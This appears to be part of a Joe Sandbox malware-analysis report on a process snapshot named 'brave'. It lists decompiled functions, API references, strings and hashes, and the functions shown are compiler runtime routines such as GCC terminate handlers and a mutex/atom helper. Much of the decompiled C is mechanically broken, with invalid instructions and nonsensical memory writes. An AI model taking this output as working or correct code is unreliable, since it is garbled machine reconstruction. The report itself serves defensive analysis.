				_t122 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t122 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf12683;
				_t91 = (_t68 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t91 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t122 + 1;
				 *_t91 = 0x27;
				 *((long long*)(_t91 + 0x10)) = 0x7c1953e0;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 8;
				goto 0x7bee5c22;
				E00007FF77FF77BEE6EE0(_t91, __rbx);
				_a40 = _t91;
				if (_t91 == 0) goto 0x7bee5c20;
				if ( *_t91 != 0x18) goto 0x7bee5d39;
				goto 0x7bee5c22;
				goto 0x7bee6051;
				_t92 = _t91 + 1;
				 *(__rbx + 0x18) = _t92;
				E00007FF77FF77BEE89F0(__rbx);
				E00007FF77FF77BEE4DD0();
				_a40 = _t92;
				_t138 = _t92;
				goto 0x7bee5f58;
				r12d =  *((intOrPtr*)(__rbx + 0x28));
				 *(__rbx + 0x18) =  &(_t138[1]);
				E00007FF77FF77BEE89F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0x7bee6584;
				 *(__rbx + 0x18) = _t138;
				_t94 = _a40;
				 *((intOrPtr*)(__rbx + 0x28)) = r12d;
				 *((long long*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0x7bee5d30;
				_t148 = _a40;
				if (_t148 == 0) goto 0x7bee5c20;
				_t126 =  *((intOrPtr*)(__rbx + 0x38));
				if (_t126 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0x7bee5c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t68 * 8)) = _t148;
				 *((long long*)(__rbx + 0x38)) = _t126 + 1;
				 *((long long*)(_t94 - 0x77)) =  *((long long*)(_t94 - 0x77)) - 1;
				_t135 =  *((intOrPtr*)(__rbx + 0x4c));
				 *((long long*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t148 + 3;
				_t66 = E00007FF77FF77BEE7F20(_t94, __rbx);
				 *((long long*)(__rbx + 0x4c)) = _t135;
				_t139 = _t94;
				if (_t94 != 0) goto 0x7bee6386;
				goto 0x7bee5c20;
				asm("o16 nop [eax+eax]");
				_push(_t135);
				_push(_t139);
				_push(__rbx);
				_t95 =  *(__rbx + 0x18);
				if (sil == 0) goto 0x7bee66c8;
				 *(__rbx + 0x18) =  &(_t95[1]);
				r10d =  *_t95 & 0x000000ff;
				if (sil != 0) goto 0x7bee66d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t80 =  *((intOrPtr*)( *((intOrPtr*)(0x7c194820 + (_t66 + _t66 * 2) * 8)))) - r10b;
				if (_t80 == 0) goto 0x7bee6680;
				if (_t80 <= 0) goto 0x7bee66c0;
				r8d = _t66;
				if (_t68 != r8d) goto 0x7bee6648;
				return _t66;
			}

0x7ff77bee63ff
0x7ff77bee6405
0x7ff77bee641c
0x7ff77bee6420
0x7ff77bee6428
0x7ff77bee642b
0x7ff77bee6431
0x7ff77bee6435
0x7ff77bee643e
0x7ff77bee6444
0x7ff77bee645b
0x7ff77bee645f
0x7ff77bee6467
0x7ff77bee646a
0x7ff77bee6470
0x7ff77bee6474
0x7ff77bee6480
0x7ff77bee6485
0x7ff77bee6493
0x7ff77bee6498
0x7ff77bee64a2
0x7ff77bee64a8
0x7ff77bee64bf
0x7ff77bee64c3
0x7ff77bee64cb
0x7ff77bee64ce
0x7ff77bee64d4
0x7ff77bee64d8
0x7ff77bee64dc
0x7ff77bee64eb
0x7ff77bee64f0
0x7ff77bee64f8
0x7ff77bee6501
0x7ff77bee6507
0x7ff77bee6512
0x7ff77bee6517
0x7ff77bee651e
0x7ff77bee6522
0x7ff77bee6537
0x7ff77bee653c
0x7ff77bee6541
0x7ff77bee6544
0x7ff77bee6550
0x7ff77bee6557
0x7ff77bee655e
0x7ff77bee656a
0x7ff77bee656c
0x7ff77bee6570
0x7ff77bee6575
0x7ff77bee657c
0x7ff77bee657f
0x7ff77bee6584
0x7ff77bee658c
0x7ff77bee6592
0x7ff77bee6598
0x7ff77bee65a8
0x7ff77bee65b2
0x7ff77bee65be
0x7ff77bee65cd
0x7ff77bee65d0
0x7ff77bee65da
0x7ff77bee65de
0x7ff77bee65e3
0x7ff77bee65e6
0x7ff77bee65ec
0x7ff77bee65f2
0x7ff77bee65f7
0x7ff77bee6600
0x7ff77bee6601
0x7ff77bee6602
0x7ff77bee6607
0x7ff77bee6614
0x7ff77bee661e
0x7ff77bee6626
0x7ff77bee662d
0x7ff77bee6633
0x7ff77bee6642
0x7ff77bee6666
0x7ff77bee6669
0x7ff77bee666b
0x7ff77bee666d
0x7ff77bee6673
0x7ff77bee667e

APIs

malloc.MSVCRT ref: 00007FF77BF12752

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 8e51a588fcc9305d1bc339688198cec1aa851e1b2663bd7cae9e7b17c44e4575
Instruction ID: df37ae9aa339da95012e58cd3a62132326681ed608c08105d7eaf3c617f10bb1
Opcode Fuzzy Hash: 8e51a588fcc9305d1bc339688198cec1aa851e1b2663bd7cae9e7b17c44e4575
Instruction Fuzzy Hash: 02110C73939B41C2E754AF18E8803A9B2F1FB88708F959575C24C073A9DF7CA591C7A0

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF77BEF6EE0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 35
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF77BEF6EE0(void* __rcx) {
				long _t1;
				void* _t3;

				_t1 = GetLastError();
				if (_t3 != 0) goto 0x7bef6f00;
				return _t1;
			}

0x7ff77bef6eea
0x7ff77bef6ef2
0x7ff77bef6efb

APIs

GetLastError.KERNEL32 ref: 00007FF77BEF6EEA
FormatMessageA.KERNEL32 ref: 00007FF77BEF6F2B
IsDebuggerPresent.KERNEL32 ref: 00007FF77BEF6F35

Strings

aaaaaaaaaaaaaaaaaaAAAAAAAAAAAaAAAaAAAAAaaaaaAAaAaaaaAaAaaaaaaaaa, xrefs: 00007FF77BEF6EE2

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: DebuggerErrorFormatLastMessagePresent
String ID: aaaaaaaaaaaaaaaaaaAAAAAAAAAAAaAAAaAAAAAaaaaaAAaAaaaaAaAaaaaaaaaa
API String ID: 2392558662-201518247
Opcode ID: fd52d147f527fa6bcd06c01c60e71c22fdd217dc7770cd6842f4e7a378731cf7
Instruction ID: 30b1029e48b67deb7e75c2bcafe33dee9a4ac7d5fdc71fd0acc7745c61680b1b
Opcode Fuzzy Hash: fd52d147f527fa6bcd06c01c60e71c22fdd217dc7770cd6842f4e7a378731cf7
Instruction Fuzzy Hash: E9018B73B38601CAE754AB15F854379A260BF88B84FD80034DA4DC2A68DF7CE544C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEE29D0 Relevance: 9.1, APIs: 7, Instructions: 394COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21970e06b6a0f44cb27fbc3b878f45f4bed170ea0786f0c3e17d60ddcc91f4d1
Instruction ID: 71c5529c6f497b9b63e03ff8a8759cafa6969875d6d64dc8b9e194cf6bfb5c67
Opcode Fuzzy Hash: 21970e06b6a0f44cb27fbc3b878f45f4bed170ea0786f0c3e17d60ddcc91f4d1
Instruction Fuzzy Hash: E112A4739387C145F711AB69E4057BAA7A0BB95794F809235EE8C037AAEFBCD144C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEE4C80 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dae371a8610d859356a0b0e471f64f9d264ed4058a6e4d7a127b9e3f5264a2ab
Instruction ID: b2495292d30d622a12bc9cf95d14512993d2af0a65bf3a9ba2042c915f5f9902
Opcode Fuzzy Hash: dae371a8610d859356a0b0e471f64f9d264ed4058a6e4d7a127b9e3f5264a2ab
Instruction Fuzzy Hash: EFE01A76918B8181D204EB52F48001EB770F7D97C0F004825EECC03B29CF3CC1508B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BF03230 Relevance: 63.2, APIs: 13, Strings: 23, Instructions: 184
fileCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E00007FF77FF77BF03230(void* __edi, void* __eflags, void* __rbx, void* __rcx, void* __rdx, int __rdi, void* __rsi, void* __r12, char* __r13, char* __r14, void* __r15) {
				void* _t78;
				void* _t83;
				signed char _t84;
				int _t91;
				void* _t95;
				void* _t97;
				void* _t98;
				intOrPtr* _t125;
				void* _t130;
				int _t170;
				void* _t171;
				void* _t172;
				void* _t173;
				void* _t174;
				char* _t184;

				_t173 = _t172 - 0x90;
				_t171 = _t173 + 0x90;
				 *((long long*)(_t171 - 0x38)) = 0x7562206c;
				_t152 = __rdx - __rcx;
				 *((long long*)(_t171 - 0x40)) = 0x74696d62;
				 *((long long*)(_t171 - 0x30)) = 0x74726f70;
				_t5 = _t152 + 0x78; // 0x756f6e6520746fe6
				 *((long long*)(_t171 - 0x28)) = 0x70747468;
				 *((long long*)(_t171 - 0x20)) = 0x2e636367;
				 *((long long*)(_t171 - 0x18)) = 0x2f67726f;
				_t130 = __rdx - __rcx;
				 *((long long*)(_t171 - 0x70)) = 0x20746f6e;
				 *((long long*)(_t171 - 0x68)) = 0x73206867;
				 *((long long*)(_t171 - 0x60)) = 0x726f6620;
				 *((long long*)(_t171 - 0x58)) = 0x2074616d;
				 *((long long*)(_t171 - 0x50)) = 0x6f69736e;
				 *((long long*)(_t171 - 0x48)) = 0x7361656c;
				 *((long long*)(_t171 - 0x10)) = 0xa3a292f;
				 *((char*)(_t171 - 8)) = 0;
				E00007FF77FF77BEEF680(_t78);
				_t174 = _t173 - (_t5 & 0xfffffff0);
				 *((long long*)(_t174 + 0x58)) = 0x7562206c;
				 *((long long*)(_t174 + 0x50)) = 0x74696d62;
				 *((long long*)(_t174 + 0x68)) = 0x70747468;
				 *((long long*)(_t174 + 0x60)) = 0x74726f70;
				 *((long long*)(_t174 + 0x78)) = 0x2f67726f;
				 *((long long*)(_t174 + 0x80)) = 0xa3a292f;
				 *(_t174 + 0x20) = 0x20746f6e;
				 *((long long*)(_t174 + 0x28)) = 0x73206867;
				 *((long long*)(_t174 + 0x30)) = 0x726f6620;
				 *((long long*)(_t174 + 0x38)) = 0x2074616d;
				 *((long long*)(_t174 + 0x40)) = 0x6f69736e;
				 *((long long*)(_t174 + 0x48)) = 0x7361656c;
				 *((long long*)(_t174 + 0x70)) = 0x2e636367;
				memcpy(__rbx, __rsi, __rdi);
				 *((char*)(_t174 + _t130 + 0x88)) = 0;
				E00007FF77FF77BF123A0();
				if ( *0x7c192d60 != 0) goto 0x7bf034da;
				 *0x7c192d60 = 1;
				E00007FF77FF77BF11BC0(0x2e636367);
				if (0x2e636367 == 0) goto 0x7bf034b0;
				_t184 =  *((intOrPtr*)(0x2e756e672e63636f));
				 *((long long*)(_t174 - 0x30 + 0x2c)) = 0xffffffff;
				r8d = 0;
				_t83 = E00007FF77FF77BEEE1F0(0, _t184, 0, _t130, _t174 - 0x30 + 0x2c);
				asm("clc");
				 *0x00000000 =  *0x00000000 - _t83;
				_t84 =  *_t130();
				goto [far qword [rax];
				 *0x3E1D8B47FFFFFFBA =  *((intOrPtr*)(0x3e1d8b47ffffffba)) + _t84;
				 *0x00000000 =  *0x00000000 ^ _t84;
				 *0x00000000 =  *0x00000000 + _t84;
				fwrite(_t130, _t174 + 0x20);
				 *_t130();
				 *0x00000000 =  *0x00000000 + fputs(__r13) +  *0x00000000;
				goto [far qword [rax];
				 *0xB841D3FEFFFFFF8B =  *((intOrPtr*)(0xb841d3feffffff8b)) + _t97;
				asm("loop 0x1");
				 *((long long*)(_t130 - 0x7ad3dbbc)) =  *((long long*)(_t130 - 0x7ad3dbbc)) - 1;
				 *(_t171 + 8) =  *(_t171 + 8) << 0x4c;
				free(__r12);
				E00007FF77FF77BF12110(_t97, _t98, 0 >> 0x3c, _t130, _t130, 0, _t184, 0);
				 *_t130();
				_t91 = fputs(__r14);
				goto 0x7bf0346b;
				 *(0 >> 0x3c) =  *(0 >> 0x3c) - _t91;
				r8d = 0x2d;
				goto [far qword [rax];
				 *0xF7B515FEFFFFFF8B =  *((intOrPtr*)(0xf7b515feffffff8b)) + _t97;
				asm("loope 0x1");
				asm("invalid");
				asm("loop 0x2");
				asm("invalid");
				 *(0 >> 0x3c >> 0xf3) =  *(0 >> 0x3c >> 0xf3) + _t91 +  *(0 >> 0x3c >> 0xf3);
				 *0x7c192c70();
				r8d = 0x1d;
				asm("invalid");
				 *((intOrPtr*)(0xf7b515feffffff8b)) =  *((intOrPtr*)(0xf7b515feffffff8b)) + _t97;
				asm("loope 0x1");
				asm("invalid");
				asm("invalid");
				if ( *_t184 != 0x2a) goto 0x7bf0356f;
				0x7bf11a10();
				_t125 =  *(0 >> 0x3c >> 0xf3 >> 0xc9);
				_t95 =  *((intOrPtr*)(_t125 + 0x10))();
				asm("ror dword [ecx-0x77], cl");
				asm("rol dword [ecx-0x48], 0xb");
				 *_t125 =  *_t125 + _t95;
				 *0xA90D8D4800000002 =  *0xA90D8D4800000001 + dil;
				return fwrite(__r15, _t170);
				asm("loope 0xffffffea");
				_t67 = __rax;
				__rax = __rdi;
				__rdi = _t67;
				asm("loope 0x1");
				asm("invalid");
				__al = __al +  *__rax;
				 *__rax =  *__rax + __al;
				__eax =  *__rbx();
				__rdx = __rax;
				__rcx = 0xa;
				asm("invalid");
				sil = 0xe6;
				 *__rax =  *__rax + __al;
				goto 0x7bf034d5;
				0x7bf11a10();
				__eax = E00007FF77FF77BF11C20(__rax);
				__r12 = __rax;
				__eax = E00007FF77FF77BF11C20(__rax);
				__rcx = __r12;
				E00007FF77FF77BEEFEC0();
				__rax = __rax;
				__rsp = __rsp - 0x28;
				__rcx = 0x8;
				 *((intOrPtr*)(__rbp + 0x3900ba000000025)) =  *((intOrPtr*)(__rbp + 0x3900ba000000025)) + __cl;
				asm("invalid");
				__rdx = 0x7c196af0;
				__rcx = __rax;
				__rax = 0x7c197100;
				 *__rcx = 0x7c197100;
				__eax = E00007FF77FF77BF12160(__ecx, __edx, 0x7c197100, __rbx, __rcx, 0x7c196af0, __r8, __r9, __r12, __r13);
				__rsp = __rsp - 0x28;
				__rcx =  *0x7c192d30; // 0x12492070080
				if (__rcx == 0) goto 0x7bf035e0;
				free(??);
				 *0x7c192d30 = 0;
				__rsp = __rsp + 0x28;
				return __eax;
			}

0x7ff77bf0323a
0x7ff77bf03241
0x7ff77bf03292
0x7ff77bf032aa
0x7ff77bf032ad
0x7ff77bf032bb
0x7ff77bf032bf
0x7ff77bf032cd
0x7ff77bf032df
0x7ff77bf032ed
0x7ff77bf032f1
0x7ff77bf032f4
0x7ff77bf032f8
0x7ff77bf032fc
0x7ff77bf03300
0x7ff77bf03304
0x7ff77bf03308
0x7ff77bf0330c
0x7ff77bf03310
0x7ff77bf03314
0x7ff77bf03323
0x7ff77bf03333
0x7ff77bf03347
0x7ff77bf03356
0x7ff77bf03365
0x7ff77bf03374
0x7ff77bf0337c
0x7ff77bf0338c
0x7ff77bf03391
0x7ff77bf03396
0x7ff77bf0339b
0x7ff77bf033a0
0x7ff77bf033a5
0x7ff77bf033aa
0x7ff77bf033af
0x7ff77bf033b7
0x7ff77bf033bf
0x7ff77bf033e0
0x7ff77bf033e6
0x7ff77bf033ed
0x7ff77bf033f5
0x7ff77bf033fb
0x7ff77bf0340b
0x7ff77bf03416
0x7ff77bf03421
0x7ff77bf0342f
0x7ff77bf03430
0x7ff77bf03435
0x7ff77bf03440
0x7ff77bf03442
0x7ff77bf03445
0x7ff77bf03447
0x7ff77bf0344c
0x7ff77bf0345e
0x7ff77bf03476
0x7ff77bf03481
0x7ff77bf03483
0x7ff77bf03489
0x7ff77bf0348b
0x7ff77bf03491
0x7ff77bf03497
0x7ff77bf0349c
0x7ff77bf034a1
0x7ff77bf034a9
0x7ff77bf034ae
0x7ff77bf034b9
0x7ff77bf034bb
0x7ff77bf034ca
0x7ff77bf034cc
0x7ff77bf034d2
0x7ff77bf034d4
0x7ff77bf034d6
0x7ff77bf034d9
0x7ff77bf034dd
0x7ff77bf034df
0x7ff77bf034e5
0x7ff77bf034f4
0x7ff77bf034f6
0x7ff77bf034fc
0x7ff77bf034fe
0x7ff77bf03502
0x7ff77bf0350b
0x7ff77bf0350d
0x7ff77bf03515
0x7ff77bf03518
0x7ff77bf03524
0x7ff77bf03527
0x7ff77bf0352b
0x7ff77bf0352d
0x7ff77bf03548
0x7ff77bf0354b
0x7ff77bf0354d
0x7ff77bf0354d
0x7ff77bf0354d
0x7ff77bf0354e
0x7ff77bf03550
0x7ff77bf03552
0x7ff77bf03554
0x7ff77bf03556
0x7ff77bf03558
0x7ff77bf0355b
0x7ff77bf03564
0x7ff77bf03566
0x7ff77bf03568
0x7ff77bf0356a
0x7ff77bf0356f
0x7ff77bf03574
0x7ff77bf0357e
0x7ff77bf03581
0x7ff77bf03586
0x7ff77bf03589
0x7ff77bf0358f
0x7ff77bf03590
0x7ff77bf03594
0x7ff77bf0359d
0x7ff77bf035a3
0x7ff77bf035a5
0x7ff77bf035ac
0x7ff77bf035af
0x7ff77bf035b6
0x7ff77bf035b9
0x7ff77bf035c0
0x7ff77bf035c4
0x7ff77bf035ce
0x7ff77bf035d0
0x7ff77bf035d5
0x7ff77bf035e0
0x7ff77bf035e4

APIs

memcpy.MSVCRT ref: 00007FF77BF033AF
fwrite.MSVCRT ref: 00007FF77BF034D0

Part of subcall function 00007FF77BEEE1F0: strlen.MSVCRT ref: 00007FF77BEEE27E
Part of subcall function 00007FF77BEEE1F0: memcpy.MSVCRT ref: 00007FF77BEEE292
Part of subcall function 00007FF77BEEE1F0: free.MSVCRT ref: 00007FF77BEEE29D

fwrite.MSVCRT ref: 00007FF77BF0344C
fputs.MSVCRT ref: 00007FF77BF03466
fwrite.MSVCRT ref: 00007FF77BF03487
free.MSVCRT ref: 00007FF77BF03497
fputs.MSVCRT ref: 00007FF77BF034A9
abort.MSVCRT ref: 00007FF77BF034D5
fwrite.MSVCRT ref: 00007FF77BF034FA
abort.MSVCRT ref: 00007FF77BF034FF
fwrite.MSVCRT ref: 00007FF77BF0353A
fputs.MSVCRT ref: 00007FF77BF0354C
fputc.MSVCRT ref: 00007FF77BF03560

Strings

terminate called recursively, xrefs: 00007FF77BF034F0
for for, xrefs: 00007FF77BF03267
not enou, xrefs: 00007FF77BF03253
org/bugs, xrefs: 00007FF77BF032D5
l bug re, xrefs: 00007FF77BF03249
https://, xrefs: 00007FF77BF032A0
bmit ful, xrefs: 00007FF77BF03296
l bug re, xrefs: 00007FF77BF03319
port at , xrefs: 00007FF77BF032B1
nsion (P, xrefs: 00007FF77BF0327B
terminate called without an active exception, xrefs: 00007FF77BF034C6
lease su, xrefs: 00007FF77BF03285
mat expa, xrefs: 00007FF77BF03271
bmit ful, xrefs: 00007FF77BF03329
port at , xrefs: 00007FF77BF0334C
gh space, xrefs: 00007FF77BF0325D
terminate called after throwing an instance of ', xrefs: 00007FF77BF0343C
https://, xrefs: 00007FF77BF0333D
gcc.gnu., xrefs: 00007FF77BF032C3
gcc.gnu., xrefs: 00007FF77BF0336A
org/bugs, xrefs: 00007FF77BF0335B
what(): , xrefs: 00007FF77BF03533
/): , xrefs: 00007FF77BF032E3

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: fwrite$fputs$abortfreememcpy$fputcstrlen
String ID: what(): $ for for$/): $bmit ful$bmit ful$gcc.gnu.$gcc.gnu.$gh space$https://$https://$l bug re$l bug re$lease su$mat expa$not enou$nsion (P$org/bugs$org/bugs$port at $port at $terminate called after throwing an instance of '$terminate called recursively$terminate called without an active exception
API String ID: 1586115568-1351603976
Opcode ID: fe6879b4978ab91ad2477e5e00425517d39e91c0031cd86db954f8b7f250dbe4
Instruction ID: 73f1579877c3f56e5934390285abb1705b125aad4711516d0c46e731c2e68921
Opcode Fuzzy Hash: fe6879b4978ab91ad2477e5e00425517d39e91c0031cd86db954f8b7f250dbe4
Instruction Fuzzy Hash: 7971E572B38B8145FB10ABA5B8403B9A2A5FB49F84FD44138ED9C4B7AADE3CD100C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEEF840 Relevance: 29.9, APIs: 11, Strings: 6, Instructions: 157synchronizationCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF77BEEF848
CreateMutexA.KERNEL32 ref: 00007FF77BEEF957
WaitForSingleObject.KERNEL32 ref: 00007FF77BEEF968
FindAtomA.KERNEL32 ref: 00007FF77BEEF97D
AddAtomA.KERNEL32 ref: 00007FF77BEEF9BD
_onexit.MSVCRT ref: 00007FF77BEEF9DA
ReleaseMutex.KERNEL32 ref: 00007FF77BEEF9E2
CloseHandle.KERNEL32 ref: 00007FF77BEEF9EB

Strings

aaaaaaaa, xrefs: 00007FF77BEEF8F4
failed to add string to atom table, xrefs: 00007FF77BEEFAA3
__eh_shmem3_gcc_tdm_, xrefs: 00007FF77BEEF897, 00007FF77BEEF8C7
failed to to lock creation mutex, xrefs: 00007FF77BEEFAB6
aaaaaaaa, xrefs: 00007FF77BEEF8FE
failed to get string from atom, xrefs: 00007FF77BEEFAD6

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: AtomMutex$CloseCreateCurrentFindHandleObjectProcessReleaseSingleWait_onexit
String ID: __eh_shmem3_gcc_tdm_$aaaaaaaa$aaaaaaaa$failed to add string to atom table$failed to get string from atom$failed to to lock creation mutex
API String ID: 2382646235-4003979217
Opcode ID: eeefa348b6469097a2ce0c1b6ef4fcb7977b54c7f9b7813c6b328c0e60a68bab
Instruction ID: 35c21a495ee3bdd57531000084d8585f474d5cce5e0b405e3fb8fa55208ac1cb
